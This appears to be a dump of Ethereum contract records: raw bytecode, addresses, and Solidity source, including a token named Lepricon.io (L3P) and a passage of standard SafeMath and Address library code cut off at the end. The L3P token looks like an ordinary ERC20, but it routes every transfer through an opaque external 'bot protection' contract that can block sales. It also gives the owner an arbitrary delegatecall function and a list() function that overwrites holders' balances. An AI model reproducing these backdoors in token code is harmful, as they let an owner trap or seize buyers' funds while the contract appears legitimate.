8273ffffffffffffffffffffffffffffffffffffffff16141515156125c057600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60026020528160005260406000208181548110151561262257fe5b90600052602060002001600091509150505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561269357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601481819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c60405160405180910390a3565b6000600160189054906101000a900460ff1615151561282f57600080fd5b600061283b33856124c3565b116040805190810160405280601081526020017f4e6f20746f6b656e73206c6f636b65640000000000000000000000000000000081525090151561291a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128df5780820151818401526020810190506128c4565b50505050905090810190601f16801561290c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506129253083612f73565b5061299482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000866000191660001916815260200190815260200160002060000154613cc290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085600019166000191681526020019081526020016000206000018190555082600019163373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000876000191660001916815260200190815260200160002060000154600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000886000191660001916815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b6957600080fd5b600160189054906101000a900460ff16151515612b8557600080fd5b60018060186101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c2a57600080fd5b600160149054906101000a900463ffffffff16905090565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612cd85780601f10612cad57610100808354040283529160200191612cd8565b820191906000526020600020905b815481529060010190602001808311612cbb57829003601f168201915b505050505081565b6000808273ffffffffffffffffffffffffffffffffffffffff1614151515612d0757600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612dac57600080fd5b82600754019050600660009054906101000a900460ff1660ff16600a0a6402540be400028111151515612e6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20657863656564206d6178696d756d20746f74616c207375707081526020017f6c7900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8060078190555082600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050919050565b6000600160189054906101000a900460ff16151515612f9157600080fd5b612f9c3384846138d7565b905092915050565b6000600160189054906101000a900460ff16151515612fc257600080fd5b6000612fce33856124c3565b116040805190810160405280601081526020017f4e6f20746f6b656e73206c6f636b6564000000000000000000000000000000008152509015156130ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613072578082015181840152602081019050613057565b50505050905090810190601f16801561309f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5061311c82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000866000191660001916815260200190815260200160002060010154613cc290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085600019166000191681526020019081526020016000206001018190555082600019163373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000876000191660001916815260200190815260200160002060000154600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000886000191660001916815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a36001905092915050565b600080600090505b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156133695761335a61334b84600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561333b57fe5b9060005260206000200154612373565b83613cc290919063ffffffff16565b9150808060010191505061329e565b50919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160189054906101000a900460ff161515156133b657600080fd5b6133c08484610eb5565b1561355f57600115158473ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156134be5780820151818401526020810190506134a3565b50505050905090810190601f1680156134eb5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561350d57600080fd5b505af1158015613521573d6000803e3d6000fd5b505050506040513d602081101561353757600080fd5b8101908080519060200190929190505050151514151561355657600080fd5b60019050613564565b600090505b9392505050565b6003602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900460ff16905083565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156135d657600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156135fc57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16141515156136a857600080fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561374c57600080fd5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a16001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561387757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156138cc57600080fd5b818303905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156138fe57600080fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561394c57600080fd5b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156139a557600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156139fe57600080fd5b613a5082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138bb90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ae582600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cc290919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b7a82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cc290919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c0f82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cc290919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008183019050828110151515613cd857600080fd5b929150505600a165627a7a723058201edb114b8b4f6c578f08521bad50425eefafc0dac7b16bc6952d6112aa8845990029
[ 16, 2, 18 ]
0xf3aFacBD4c4bcdEd198E1c145D9269B0e8bcF5E9
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address private botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } // Uses Ferrum Launch Protection System modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract Token is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 13000000000000000000000000; string public name = "Lepricon.io"; string public symbol = "L3P"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = msg.sender; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0x6080604052600436106100dd5760003560e01c806395d89b411161007f578063a9059cbb11610059578063a9059cbb146103dc578063d6d2b6ba14610408578063dd62ed3e146104be578063f2428621146104f9576100dd565b806395d89b4114610282578063964561f514610297578063a0e47bf6146103c7576100dd565b806323b872dd116100bb57806323b872dd146101d3578063313ce5671461020957806332972e461461021e57806370a082311461024f576100dd565b806306fdde03146100e2578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b3480156100ee57600080fd5b506100f761050e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b03813516906020013561059c565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c1610602565b60408051918252519081900360200190f35b610198600480360360608110156101e957600080fd5b506001600160a01b03813581169160208101359091169060400135610608565b34801561021557600080fd5b506101c1610831565b34801561022a57600080fd5b50610233610836565b604080516001600160a01b039092168252519081900360200190f35b34801561025b57600080fd5b506101c16004803603602081101561027257600080fd5b50356001600160a01b0316610845565b34801561028e57600080fd5b506100f7610857565b6103c5600480360360608110156102ad57600080fd5b813591908101906040810160208201356401000000008111156102cf57600080fd5b8201836020820111156102e157600080fd5b8035906020019184602083028401116401000000008311171561030357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561035357600080fd5b82018360208201111561036557600080fd5b8035906020019184602083028401116401000000008311171561038757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108b2945050505050565b005b3480156103d357600080fd5b50610233610a7c565b610198600480360360408110156103f257600080fd5b506001600160a01b038135169060200135610a8b565b6103c56004803603604081101561041e57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561044957600080fd5b82018360208201111561045b57600080fd5b8035906020019184600183028401116401000000008311171561047d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a9f945050505050565b3480156104ca57600080fd5b506101c1600480360360408110156104e157600080fd5b506001600160a01b0381358116916020013516610b5c565b34801561050557600080fd5b50610233610b79565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105945780601f1061056957610100808354040283529160200191610594565b820191906000526020600020905b81548152906001019060200180831161057757829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b600154600254604080516001600160a01b0380881660248301528087166044830152928316606482015260848082018690528251808303909101815260a490910182526020810180516001600160e01b0316631527414160e01b17815291518151600095899589958995899560609593909416939092909182918083835b602083106106a55780518252601f199092019160209182019101610686565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610707576040519150601f19603f3d011682016040523d82523d6000602084013e61070c565b606091505b50915091508161071b57600080fd5b866107295760019550610825565b336001600160a01b038a1614610794576001600160a01b038916600090815260046020908152604080832033845290915290205487111561076957600080fd5b6001600160a01b03891660009081526004602090815260408083203384529091529020805488900390555b6001600160a01b0389166000908152600360205260409020548711156107b957600080fd5b6001600160a01b03808a16600081815260036020908152604080832080548d90039055938c168083529184902080548c01905583518b8152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600195505b50505050509392505050565b601281565b6002546001600160a01b031681565b60036020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105945780601f1061056957610100808354040283529160200191610594565b6000546001600160a01b031633146108c957600080fd5b306000818152600360205260408082208690556005543380845292829020606460069092028290049055600854825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b15801561096557600080fd5b505af1158015610979573d6000803e3d6000fd5b50505050506040513d606081101561099057600080fd5b505080518251146109a057600080fd5b60005b8251811015610a76578181815181106109b857fe5b6020026020010151600360008584815181106109d057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610a0857fe5b60200260200101516001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a5157fe5b60200260200101516040518082815260200191505060405180910390a36001016109a3565b50505050565b6008546001600160a01b031681565b6000610a98338484610608565b9392505050565b6000546001600160a01b03163314610ab657600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610af05780518252601f199092019160209182019101610ad1565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610b50576040519150601f19603f3d011682016040523d82523d6000602084013e610b55565b606091505b5050505050565b600460209081526000928352604080842090915290825290205481565b6009546001600160a01b03168156fea264697066735822122094a3dc747772ebb65d823611f3ad202e4b400cf7f5ca477878e86371225606e264736f6c63430007030033
[ 15, 8, 5 ]
0xf3afd0feac711f754d430de41ec0c7314a397ca1
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over 